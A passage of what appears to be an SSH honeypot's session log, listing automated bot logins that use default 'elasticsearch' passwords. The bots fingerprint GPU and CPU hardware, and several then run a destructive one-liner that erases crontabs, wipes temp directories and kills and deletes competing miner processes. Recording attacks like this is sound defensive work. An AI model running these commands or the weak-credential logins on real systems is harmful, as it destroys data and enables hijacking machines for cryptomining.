Inc."},{"seq":15,"at":"2026-08-25T01:43:44.319198+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\" | awk '{print $4, $5, $6, $7, $8, $9, $10, $11}' | wc -l | head -c 1"},{"seq":16,"at":"2026-08-25T01:43:46.873588+00:00","kind":"output","latency_ms":null,"data":"NVIDIA GeForce RTX"},{"seq":17,"at":"2026-08-25T01:43:47.111491+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\""},{"seq":18,"at":"2026-08-25T01:43:53.084415+00:00","kind":"output","latency_ms":null,"data":" Product Name : NVIDIA GeForce RTX 3060"},{"seq":19,"at":"2026-08-25T01:43:53.291830+00:00","kind":"input","latency_ms":null,"data":"lspci | egrep VGA | grep Radeon | wc -l | head -c 1"},{"seq":20,"at":"2026-08-25T01:43:56.492511+00:00","kind":"output","latency_ms":null,"data":"0"},{"seq":21,"at":"2026-08-25T01:43:56.703470+00:00","kind":"input","latency_ms":null,"data":"uname -n | awk '{printf $1}'"},{"seq":22,"at":"2026-08-25T01:43:59.859414+00:00","kind":"output","latency_ms":null,"data":"localhost"},{"seq":23,"at":"2026-08-25T01:44:00.106402+00:00","kind":"input","latency_ms":null,"data":"uname -r | awk '{printf $1}'"},{"seq":24,"at":"2026-08-25T01:44:03.653307+00:00","kind":"output","latency_ms":null,"data":"7.0.0-22-generic"}],"credentials":[{"username":"elasticsearch","password":"123456","method":"password","accepted":true,"tier":"other"}]} {"id":"6b11bdd9-2b9f-486f-8a32-b41287f8f727","name":"brisk-shaded-jerboa","protocol":"ssh","channel_kind":"exec","src_ip":"45.153.34.165","src_port":43202,"username":"elasticsearch","client_version":"SSH-2.0-Go","auth_attempts":1,"automation":"bot","think_ms":215,"probe_flagged":0,"exec_command":"uname -s -v -n -r -m","started_at":"2026-08-25T00:49:55.914167+00:00","ended_at":"2026-08-25T00:50:01.906652+00:00","ended_reason":"exec complete","commands":12,"transcript_bytes":864,"events":[{"seq":1,"at":"2026-08-25T00:49:06.204914+00:00","kind":"input","latency_ms":null,"data":"uname -s -v -n -r -m"},{"seq":2,"at":"2026-08-25T00:49:09.469575+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64"},{"seq":3,"at":"2026-08-25T00:49:09.903868+00:00","kind":"input","latency_ms":null,"data":"uname -m | awk '{printf $1}'"},{"seq":4,"at":"2026-08-25T00:49:14.299359+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":5,"at":"2026-08-25T00:49:14.723391+00:00","kind":"input","latency_ms":null,"data":"uptime | grep -ohe 'up .*' | sed 's/,//g' | awk '{ print $2\" \"$3 }'"},{"seq":6,"at":"2026-08-25T00:49:19.379438+00:00","kind":"output","latency_ms":null,"data":"4 days, 21:39"},{"seq":7,"at":"2026-08-25T00:49:19.600279+00:00","kind":"input","latency_ms":null,"data":"nproc "},{"seq":8,"at":"2026-08-25T00:49:22.398783+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":9,"at":"2026-08-25T00:49:22.606842+00:00","kind":"input","latency_ms":null,"data":"lspci | egrep VGA && lspci | grep 3D"},{"seq":10,"at":"2026-08-25T00:49:27.584593+00:00","kind":"output","latency_ms":null,"data":"01:00.0 VGA compatible controller: NVIDIA Corporation GA106 [GeForce RTX 3060 Lite Hash Rate] (rev a1)"},{"seq":11,"at":"2026-08-25T00:49:27.799704+00:00","kind":"input","latency_ms":null,"data":"lscpu | egrep \"Model name:\" | cut -d ' ' -f 14-"},{"seq":12,"at":"2026-08-25T00:49:31.222165+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":13,"at":"2026-08-25T00:49:31.406581+00:00","kind":"input","latency_ms":null,"data":"curl ipinfo.io/org"},{"seq":14,"at":"2026-08-25T00:49:36.510739+00:00","kind":"output","latency_ms":null,"data":"AS63949 Akamai Technologies, Inc."},{"seq":15,"at":"2026-08-25T00:49:36.704904+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\" | awk '{print $4, $5, $6, $7, $8, $9, $10, $11}' | wc -l | head -c 1"},{"seq":16,"at":"2026-08-25T00:49:42.387920+00:00","kind":"output","latency_ms":null,"data":"NVIDIA GeForce RTX"},{"seq":17,"at":"2026-08-25T00:49:42.801751+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\""},{"seq":18,"at":"2026-08-25T00:49:46.113564+00:00","kind":"output","latency_ms":null,"data":" Product Name : NVIDIA GeForce RTX 3060"},{"seq":19,"at":"2026-08-25T00:49:46.297821+00:00","kind":"input","latency_ms":null,"data":"lspci | egrep VGA | grep Radeon | wc -l | head -c 1"},{"seq":20,"at":"2026-08-25T00:49:50.295439+00:00","kind":"output","latency_ms":null,"data":"0"},{"seq":21,"at":"2026-08-25T00:49:50.511511+00:00","kind":"input","latency_ms":null,"data":"uname -n | awk '{printf $1}'"},{"seq":22,"at":"2026-08-25T00:49:55.750129+00:00","kind":"output","latency_ms":null,"data":"localhost"},{"seq":23,"at":"2026-08-25T00:49:55.915374+00:00","kind":"input","latency_ms":null,"data":"uname -r | awk '{printf $1}'"},{"seq":24,"at":"2026-08-25T00:50:01.794823+00:00","kind":"output","latency_ms":null,"data":"7.0.0-22-generic"}],"credentials":[{"username":"elasticsearch","password":"elasticsearch@1234","method":"password","accepted":true,"tier":"other"}]} {"id":"71bbe9d8-ddc4-4ba1-8606-3c39818a2cf0","name":"dusky-frosty-goshawk","protocol":"ssh","channel_kind":null,"src_ip":"45.153.34.165","src_port":33702,"username":"elasticsearch","client_version":"SSH-2.0-Go","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-25T00:44:08.917920+00:00","ended_at":"2026-08-25T00:44:11.014257+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"elasticsearch","password":"elasticsearch","method":"password","accepted":true,"tier":"other"}]} {"id":"8eb7b968-5d13-412a-994f-3c3c9448e021","name":"dewy-curious-marmot","protocol":"ssh","channel_kind":"exec","src_ip":"45.153.34.165","src_port":39392,"username":"elasticsearch","client_version":"SSH-2.0-Go","auth_attempts":1,"automation":"bot","think_ms":231,"probe_flagged":0,"exec_command":"uname -s -v -n -r -m","started_at":"2026-08-25T00:44:08.021497+00:00","ended_at":"2026-08-25T00:44:11.012884+00:00","ended_reason":"exec complete","commands":14,"transcript_bytes":1666,"events":[{"seq":1,"at":"2026-08-25T00:43:56.901539+00:00","kind":"input","latency_ms":null,"data":"uname -s -v -n -r -m"},{"seq":2,"at":"2026-08-25T00:43:57.516169+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64"},{"seq":3,"at":"2026-08-25T00:43:57.714126+00:00","kind":"input","latency_ms":null,"data":"uname -m | awk '{printf $1}'"},{"seq":4,"at":"2026-08-25T00:43:58.143201+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":5,"at":"2026-08-25T00:43:58.314053+00:00","kind":"input","latency_ms":null,"data":"uptime | grep -ohe 'up .*' | sed 's/,//g' | awk '{ print $2\" \"$3 }'"},{"seq":6,"at":"2026-08-25T00:43:58.991393+00:00","kind":"output","latency_ms":null,"data":"4 days, 21:34"},{"seq":7,"at":"2026-08-25T00:43:59.223560+00:00","kind":"input","latency_ms":null,"data":"nproc "},{"seq":8,"at":"2026-08-25T00:43:59.930439+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":9,"at":"2026-08-25T00:44:00.119937+00:00","kind":"input","latency_ms":null,"data":"lspci | egrep VGA && lspci | grep 3D"},{"seq":10,"at":"2026-08-25T00:44:00.400170+00:00","kind":"output","latency_ms":null,"data":"01:00.0 VGA compatible controller: NVIDIA Corporation GA106 [GeForce RTX 3060 Lite Hash Rate] (rev a1)"},{"seq":11,"at":"2026-08-25T00:44:00.617240+00:00","kind":"input","latency_ms":null,"data":"lscpu | egrep \"Model name:\" | cut -d ' ' -f 14-"},{"seq":12,"at":"2026-08-25T00:44:01.350052+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":13,"at":"2026-08-25T00:44:01.829067+00:00","kind":"input","latency_ms":null,"data":"curl ipinfo.io/org"},{"seq":14,"at":"2026-08-25T00:44:02.473080+00:00","kind":"output","latency_ms":null,"data":"AS63949 Akamai Technologies, Inc."},{"seq":15,"at":"2026-08-25T00:44:02.697535+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\" | awk '{print $4, $5, $6, $7, $8, $9, $10, $11}' | wc -l | head -c 1"},{"seq":16,"at":"2026-08-25T00:44:03.002504+00:00","kind":"output","latency_ms":null,"data":"NVIDIA GeForce RTX"},{"seq":17,"at":"2026-08-25T00:44:03.202912+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\""},{"seq":18,"at":"2026-08-25T00:44:03.920577+00:00","kind":"output","latency_ms":null,"data":" Product Name : NVIDIA GeForce RTX 3060"},{"seq":19,"at":"2026-08-25T00:44:04.426099+00:00","kind":"input","latency_ms":null,"data":"lspci | egrep VGA | grep Radeon | wc -l | head -c 1"},{"seq":20,"at":"2026-08-25T00:44:04.765633+00:00","kind":"output","latency_ms":null,"data":"0"},{"seq":21,"at":"2026-08-25T00:44:05.008541+00:00","kind":"input","latency_ms":null,"data":"uname -n | awk '{printf $1}'"},{"seq":22,"at":"2026-08-25T00:44:05.784026+00:00","kind":"output","latency_ms":null,"data":"localhost"},{"seq":23,"at":"2026-08-25T00:44:06.015306+00:00","kind":"input","latency_ms":null,"data":"uname -r | awk '{printf $1}'"},{"seq":24,"at":"2026-08-25T00:44:06.809519+00:00","kind":"output","latency_ms":null,"data":"7.0.0-22-generic"},{"seq":25,"at":"2026-08-25T00:44:07.134493+00:00","kind":"input","latency_ms":null,"data":"crontab -r ; rm -rf /var/tmp/.* /var/tmp/* /tmp/.* /tmp/* ; ps aux | awk '$3 > 40.0 && $11 !~ /sshd/ {print $2}' | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; kill -9 $pid 2>/dev/null; done ; ps aux | awk '$4 > 60.0 && $11 !~ /sshd/ {print $2}' | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; kill -9 $pid 2>/dev/null; done ; pidof cache | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; kill -9 $pid 2>/dev/null; done ; for proc in xmrig cpuminer minerd ccminer; do pidof $proc | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; done; pkill -9 $proc 2>/dev/null; done ; rm -rf /tmp/cache /tmp/* /var/tmp/* 2>/dev/null"},{"seq":26,"at":"2026-08-25T00:44:08.022142+00:00","kind":"input","latency_ms":null,"data":"echo elasticsearch > /tmp/d.log"}],"credentials":[{"username":"elasticsearch","password":"elasticsearch","method":"password","accepted":true,"tier":"other"}]} {"id":"af1ee7ce-95c8-402c-b262-89ee040e225e","name":"ancient-hidden-kudu","protocol":"ssh","channel_kind":"exec","src_ip":"91.92.47.11","src_port":33212,"username":"elasticsearch","client_version":"SSH-2.0-Go","auth_attempts":1,"automation":"bot","think_ms":217,"probe_flagged":0,"exec_command":"uname -s -v -n -r -m","started_at":"2026-08-24T10:05:38.225696+00:00","ended_at":"2026-08-24T10:05:41.448999+00:00","ended_reason":"exec complete","commands":12,"transcript_bytes":864,"events":[{"seq":1,"at":"2026-08-24T10:04:46.529499+00:00","kind":"input","latency_ms":null,"data":"uname -s -v -n -r -m"},{"seq":2,"at":"2026-08-24T10:04:49.419527+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64"},{"seq":3,"at":"2026-08-24T10:04:49.795398+00:00","kind":"input","latency_ms":null,"data":"uname -m | awk '{printf $1}'"},{"seq":4,"at":"2026-08-24T10:04:54.226150+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":5,"at":"2026-08-24T10:04:54.537962+00:00","kind":"input","latency_ms":null,"data":"uptime | grep -ohe 'up .*' | sed 's/,//g' | awk '{ print $2\" \"$3 }'"},{"seq":6,"at":"2026-08-24T10:04:59.461272+00:00","kind":"output","latency_ms":null,"data":"4 days, 6:55"},{"seq":7,"at":"2026-08-24T10:04:59.637426+00:00","kind":"input","latency_ms":null,"data":"nproc "},{"seq":8,"at":"2026-08-24T10:05:04.119086+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":9,"at":"2026-08-24T10:05:04.323068+00:00","kind":"input","latency_ms":null,"data":"lspci | egrep VGA && lspci | grep 3D"},{"seq":10,"at":"2026-08-24T10:05:08.086694+00:00","kind":"output","latency_ms":null,"data":"01:00.0 VGA compatible controller: NVIDIA Corporation GA106 [GeForce RTX 3060 Lite Hash Rate] (rev a1)"},{"seq":11,"at":"2026-08-24T10:05:08.303928+00:00","kind":"input","latency_ms":null,"data":"lscpu | egrep \"Model name:\" | cut -d ' ' -f 14-"},{"seq":12,"at":"2026-08-24T10:05:13.202766+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":13,"at":"2026-08-24T10:05:13.419752+00:00","kind":"input","latency_ms":null,"data":"curl ipinfo.io/org"},{"seq":14,"at":"2026-08-24T10:05:16.494287+00:00","kind":"output","latency_ms":null,"data":"AS63949 Akamai Technologies, Inc."},{"seq":15,"at":"2026-08-24T10:05:16.727545+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\" | awk '{print $4, $5, $6, $7, $8, $9, $10, $11}' | wc -l | head -c 1"},{"seq":16,"at":"2026-08-24T10:05:21.299328+00:00","kind":"output","latency_ms":null,"data":"NVIDIA GeForce RTX"},{"seq":17,"at":"2026-08-24T10:05:21.487151+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\""},{"seq":18,"at":"2026-08-24T10:05:27.042580+00:00","kind":"output","latency_ms":null,"data":" Product Name : NVIDIA GeForce RTX 3060"},{"seq":19,"at":"2026-08-24T10:05:27.219160+00:00","kind":"input","latency_ms":null,"data":"lspci | egrep VGA | grep Radeon | wc -l | head -c 1"},{"seq":20,"at":"2026-08-24T10:05:31.770167+00:00","kind":"output","latency_ms":null,"data":"0"},{"seq":21,"at":"2026-08-24T10:05:32.110420+00:00","kind":"input","latency_ms":null,"data":"uname -n | awk '{printf $1}'"},{"seq":22,"at":"2026-08-24T10:05:37.925658+00:00","kind":"output","latency_ms":null,"data":"localhost"},{"seq":23,"at":"2026-08-24T10:05:38.226438+00:00","kind":"input","latency_ms":null,"data":"uname -r | awk '{printf $1}'"},{"seq":24,"at":"2026-08-24T10:05:41.338119+00:00","kind":"output","latency_ms":null,"data":"7.0.0-22-generic"}],"credentials":[{"username":"elasticsearch","password":"elasticsearch","method":"password","accepted":true,"tier":"other"}]} {"id":"47567079-5f64-450b-948f-7e6859a6adde","name":"dapper-gnarled-turnstone","protocol":"ssh","channel_kind":"exec","src_ip":"91.92.47.11","src_port":43508,"username":"elasticsearch","client_version":"SSH-2.0-Go","auth_attempts":1,"automation":"bot","think_ms":210,"probe_flagged":0,"exec_command":"uname -s -v -n -r -m","started_at":"2026-08-24T09:50:20.927267+00:00","ended_at":"2026-08-24T09:50:25.388726+00:00","ended_reason":"exec complete","commands":12,"transcript_bytes":864,"events":[{"seq":1,"at":"2026-08-24T09:49:33.015999+00:00","kind":"input","latency_ms":null,"data":"uname -s -v -n -r -m"},{"seq":2,"at":"2026-08-24T09:49:37.106479+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64"},{"seq":3,"at":"2026-08-24T09:49:37.317320+00:00","kind":"input","latency_ms":null,"data":"uname -m | awk '{printf $1}'"},{"seq":4,"at":"2026-08-24T09:49:42.682957+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":5,"at":"2026-08-24T09:49:42.890335+00:00","kind":"input","latency_ms":null,"data":"uptime | grep -ohe 'up .*' | sed 's/,//g' | awk '{ print $2\" \"$3 }'"},{"seq":6,"at":"2026-08-24T09:49:47.447248+00:00","kind":"output","latency_ms":null,"data":"4 days, 6:39"},{"seq":7,"at":"2026-08-24T09:49:47.632036+00:00","kind":"input","latency_ms":null,"data":"nproc "},{"seq":8,"at":"2026-08-24T09:49:50.782222+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":9,"at":"2026-08-24T09:49:51.004592+00:00","kind":"input","latency_ms":null,"data":"lspci | egrep VGA && lspci | grep 3D"},{"seq":10,"at":"2026-08-24T09:49:53.627007+00:00","kind":"output","latency_ms":null,"data":"01:00.0 VGA compatible controller: NVIDIA Corporation GA106 [GeForce RTX 3060 Lite Hash Rate] (rev a1)"},{"seq":11,"at":"2026-08-24T09:49:53.807081+00:00","kind":"input","latency_ms":null,"data":"lscpu | egrep \"Model name:\" | cut -d ' ' -f 14-"},{"seq":12,"at":"2026-08-24T09:49:57.555857+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":13,"at":"2026-08-24T09:49:58.017678+00:00","kind":"input","latency_ms":null,"data":"curl ipinfo.io/org"},{"seq":14,"at":"2026-08-24T09:50:01.675241+00:00","kind":"output","latency_ms":null,"data":"AS63949 Akamai Technologies, Inc."},{"seq":15,"at":"2026-08-24T09:50:01.928345+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\" | awk '{print $4, $5, $6, $7, $8, $9, $10, $11}' | wc -l | head -c 1"},{"seq":16,"at":"2026-08-24T09:50:07.893271+00:00","kind":"output","latency_ms":null,"data":"NVIDIA GeForce RTX"},{"seq":17,"at":"2026-08-24T09:50:08.106187+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\""},{"seq":18,"at":"2026-08-24T09:50:11.440377+00:00","kind":"output","latency_ms":null,"data":" Product Name : NVIDIA GeForce RTX 3060"},{"seq":19,"at":"2026-08-24T09:50:11.686236+00:00","kind":"input","latency_ms":null,"data":"lspci | egrep VGA | grep Radeon | wc -l | head -c 1"},{"seq":20,"at":"2026-08-24T09:50:14.828097+00:00","kind":"output","latency_ms":null,"data":"0"},{"seq":21,"at":"2026-08-24T09:50:15.026282+00:00","kind":"input","latency_ms":null,"data":"uname -n | awk '{printf $1}'"},{"seq":22,"at":"2026-08-24T09:50:20.764294+00:00","kind":"output","latency_ms":null,"data":"localhost"},{"seq":23,"at":"2026-08-24T09:50:20.928046+00:00","kind":"input","latency_ms":null,"data":"uname -r | awk '{printf $1}'"},{"seq":24,"at":"2026-08-24T09:50:25.277080+00:00","kind":"output","latency_ms":null,"data":"7.0.0-22-generic"}],"credentials":[{"username":"elasticsearch","password":"elasticsearch@1234","method":"password","accepted":true,"tier":"other"}]} {"id":"fd757eb6-b5e8-41f3-b7be-860990a19318","name":"balmy-creaky-goldfinch","protocol":"ssh","channel_kind":null,"src_ip":"91.92.47.11","src_port":53814,"username":"elasticsearch","client_version":"SSH-2.0-Go","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-24T08:52:16.343046+00:00","ended_at":"2026-08-24T08:52:17.906608+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"elasticsearch","password":"123456","method":"password","accepted":true,"tier":"other"}]} {"id":"62552bb6-1dd7-4353-b3cd-f3778725bc61","name":"jaunty-brisk-cormorant","protocol":"ssh","channel_kind":"exec","src_ip":"91.92.47.11","src_port":56662,"username":"elasticsearch","client_version":"SSH-2.0-Go","auth_attempts":1,"automation":"bot","think_ms":274,"probe_flagged":0,"exec_command":"uname -s -v -n -r -m","started_at":"2026-08-24T08:52:10.066960+00:00","ended_at":"2026-08-24T08:52:17.908041+00:00","ended_reason":"exec complete","commands":14,"transcript_bytes":1659,"events":[{"seq":1,"at":"2026-08-24T08:51:13.133802+00:00","kind":"input","latency_ms":null,"data":"uname -s -v -n -r -m"},{"seq":2,"at":"2026-08-24T08:51:19.061938+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64"},{"seq":3,"at":"2026-08-24T08:51:19.317916+00:00","kind":"input","latency_ms":null,"data":"uname -m | awk '{printf $1}'"},{"seq":4,"at":"2026-08-24T08:51:23.924692+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":5,"at":"2026-08-24T08:51:24.482414+00:00","kind":"input","latency_ms":null,"data":"uptime | grep -ohe 'up .*' | sed 's/,//g' | awk '{ print $2\" \"$3 }'"},{"seq":6,"at":"2026-08-24T08:51:28.554682+00:00","kind":"output","latency_ms":null,"data":"4 days, 5:41"},{"seq":7,"at":"2026-08-24T08:51:28.842903+00:00","kind":"input","latency_ms":null,"data":"nproc "},{"seq":8,"at":"2026-08-24T08:51:31.936750+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":9,"at":"2026-08-24T08:51:32.129557+00:00","kind":"input","latency_ms":null,"data":"lspci | egrep VGA && lspci | grep 3D"},{"seq":10,"at":"2026-08-24T08:51:35.038125+00:00","kind":"output","latency_ms":null,"data":"01:00.0 VGA compatible controller: NVIDIA Corporation GA106 [GeForce RTX 3060 Lite Hash Rate] (rev a1)"},{"seq":11,"at":"2026-08-24T08:51:35.215249+00:00","kind":"input","latency_ms":null,"data":"lscpu | egrep \"Model name:\" | cut -d ' ' -f 14-"},{"seq":12,"at":"2026-08-24T08:51:39.511509+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":13,"at":"2026-08-24T08:51:39.785786+00:00","kind":"input","latency_ms":null,"data":"curl ipinfo.io/org"},{"seq":14,"at":"2026-08-24T08:51:44.508769+00:00","kind":"output","latency_ms":null,"data":"AS63949 Akamai Technologies, Inc."},{"seq":15,"at":"2026-08-24T08:51:44.707161+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\" | awk '{print $4, $5, $6, $7, $8, $9, $10, $11}' | wc -l | head -c 1"},{"seq":16,"at":"2026-08-24T08:51:47.610827+00:00","kind":"output","latency_ms":null,"data":"NVIDIA GeForce RTX"},{"seq":17,"at":"2026-08-24T08:51:47.849263+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\""},{"seq":18,"at":"2026-08-24T08:51:51.003462+00:00","kind":"output","latency_ms":null,"data":" Product Name : NVIDIA GeForce RTX 3060"},{"seq":19,"at":"2026-08-24T08:51:51.709743+00:00","kind":"input","latency_ms":null,"data":"lspci | egrep VGA | grep Radeon | wc -l | head -c 1"},{"seq":20,"at":"2026-08-24T08:51:55.589577+00:00","kind":"output","latency_ms":null,"data":"0"},{"seq":21,"at":"2026-08-24T08:51:55.918143+00:00","kind":"input","latency_ms":null,"data":"uname -n | awk '{printf $1}'"},{"seq":22,"at":"2026-08-24T08:51:59.351819+00:00","kind":"output","latency_ms":null,"data":"localhost"},{"seq":23,"at":"2026-08-24T08:51:59.701040+00:00","kind":"input","latency_ms":null,"data":"uname -r | awk '{printf $1}'"},{"seq":24,"at":"2026-08-24T08:52:03.716572+00:00","kind":"output","latency_ms":null,"data":"7.0.0-22-generic"},{"seq":25,"at":"2026-08-24T08:52:03.944065+00:00","kind":"input","latency_ms":null,"data":"crontab -r ; rm -rf /var/tmp/.* /var/tmp/* /tmp/.* /tmp/* ; ps aux | awk '$3 > 40.0 && $11 !~ /sshd/ {print $2}' | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; kill -9 $pid 2>/dev/null; done ; ps aux | awk '$4 > 60.0 && $11 !~ /sshd/ {print $2}' | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; kill -9 $pid 2>/dev/null; done ; pidof cache | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; kill -9 $pid 2>/dev/null; done ; for proc in xmrig cpuminer minerd ccminer; do pidof $proc | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; done; pkill -9 $proc 2>/dev/null; done ; rm -rf /tmp/cache /tmp/* /var/tmp/* 2>/dev/null"},{"seq":26,"at":"2026-08-24T08:52:10.067804+00:00","kind":"input","latency_ms":null,"data":"echo 123456 > /tmp/d.log"}],"credentials":[{"username":"elasticsearch","password":"123456","method":"password","accepted":true,"tier":"other"}]} {"id":"a77d9d14-6ebf-409c-b6a7-b92f9c0c7284","name":"amiable-vernal-teal","protocol":"ssh","channel_kind":null,"src_ip":"91.92.40.217","src_port":55568,"username":"elasticsearch","client_version":"SSH-2.0-Go","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-23T08:41:04.368714+00:00","ended_at":"2026-08-23T08:41:05.678811+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"elasticsearch","password":"elasticsearch@1234","method":"password","accepted":true,"tier":"other"}]} {"id":"a7199aa3-f5cd-419c-a4e0-0dd79b820130","name":"wooded-flinty-anteater","protocol":"ssh","channel_kind":"exec","src_ip":"91.92.40.217","src_port":36474,"username":"elasticsearch","client_version":"SSH-2.0-Go","auth_attempts":1,"automation":"bot","think_ms":168,"probe_flagged":0,"exec_command":"uname -s -v -n -r -m","started_at":"2026-08-23T08:40:59.210029+00:00","ended_at":"2026-08-23T08:41:05.680012+00:00","ended_reason":"exec complete","commands":14,"transcript_bytes":1671,"events":[{"seq":1,"at":"2026-08-23T08:40:05.401724+00:00","kind":"input","latency_ms":null,"data":"uname -s -v -n -r -m"},{"seq":2,"at":"2026-08-23T08:40:09.804456+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64"},{"seq":3,"at":"2026-08-23T08:40:09.970362+00:00","kind":"input","latency_ms":null,"data":"uname -m | awk '{printf $1}'"},{"seq":4,"at":"2026-08-23T08:40:13.943023+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":5,"at":"2026-08-23T08:40:14.112684+00:00","kind":"input","latency_ms":null,"data":"uptime | grep -ohe 'up .*' | sed 's/,//g' | awk '{ print $2\" \"$3 }'"},{"seq":6,"at":"2026-08-23T08:40:17.489262+00:00","kind":"output","latency_ms":null,"data":"3 days, 5:30"},{"seq":7,"at":"2026-08-23T08:40:17.656186+00:00","kind":"input","latency_ms":null,"data":"nproc "},{"seq":8,"at":"2026-08-23T08:40:21.796604+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":9,"at":"2026-08-23T08:40:21.982933+00:00","kind":"input","latency_ms":null,"data":"lspci | egrep VGA && lspci | grep 3D"},{"seq":10,"at":"2026-08-23T08:40:24.919140+00:00","kind":"output","latency_ms":null,"data":"01:00.0 VGA compatible controller: NVIDIA Corporation GA106 [GeForce RTX 3060 Lite Hash Rate] (rev a1)"},{"seq":11,"at":"2026-08-23T08:40:25.080429+00:00","kind":"input","latency_ms":null,"data":"lscpu | egrep \"Model name:\" | cut -d ' ' -f 14-"},{"seq":12,"at":"2026-08-23T08:40:30.369490+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":13,"at":"2026-08-23T08:40:30.532351+00:00","kind":"input","latency_ms":null,"data":"curl ipinfo.io/org"},{"seq":14,"at":"2026-08-23T08:40:34.693404+00:00","kind":"output","latency_ms":null,"data":"AS63949 Akamai Technologies, Inc."},{"seq":15,"at":"2026-08-23T08:40:34.861697+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\" | awk '{print $4, $5, $6, $7, $8, $9, $10, $11}' | wc -l | head -c 1"},{"seq":16,"at":"2026-08-23T08:40:37.955041+00:00","kind":"output","latency_ms":null,"data":"NVIDIA GeForce RTX"},{"seq":17,"at":"2026-08-23T08:40:38.122853+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\""},{"seq":18,"at":"2026-08-23T08:40:43.240479+00:00","kind":"output","latency_ms":null,"data":" Product Name : NVIDIA GeForce RTX 3060"},{"seq":19,"at":"2026-08-23T08:40:43.409851+00:00","kind":"input","latency_ms":null,"data":"lspci | egrep VGA | grep Radeon | wc -l | head -c 1"},{"seq":20,"at":"2026-08-23T08:40:46.111839+00:00","kind":"output","latency_ms":null,"data":"0"},{"seq":21,"at":"2026-08-23T08:40:46.276063+00:00","kind":"input","latency_ms":null,"data":"uname -n | awk '{printf $1}'"},{"seq":22,"at":"2026-08-23T08:40:52.014234+00:00","kind":"output","latency_ms":null,"data":"localhost"},{"seq":23,"at":"2026-08-23T08:40:52.208142+00:00","kind":"input","latency_ms":null,"data":"uname -r | awk '{printf $1}'"},{"seq":24,"at":"2026-08-23T08:40:55.035180+00:00","kind":"output","latency_ms":null,"data":"7.0.0-22-generic"},{"seq":25,"at":"2026-08-23T08:40:55.196721+00:00","kind":"input","latency_ms":null,"data":"crontab -r ; rm -rf /var/tmp/.* /var/tmp/* /tmp/.* /tmp/* ; ps aux | awk '$3 > 40.0 && $11 !~ /sshd/ {print $2}' | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | 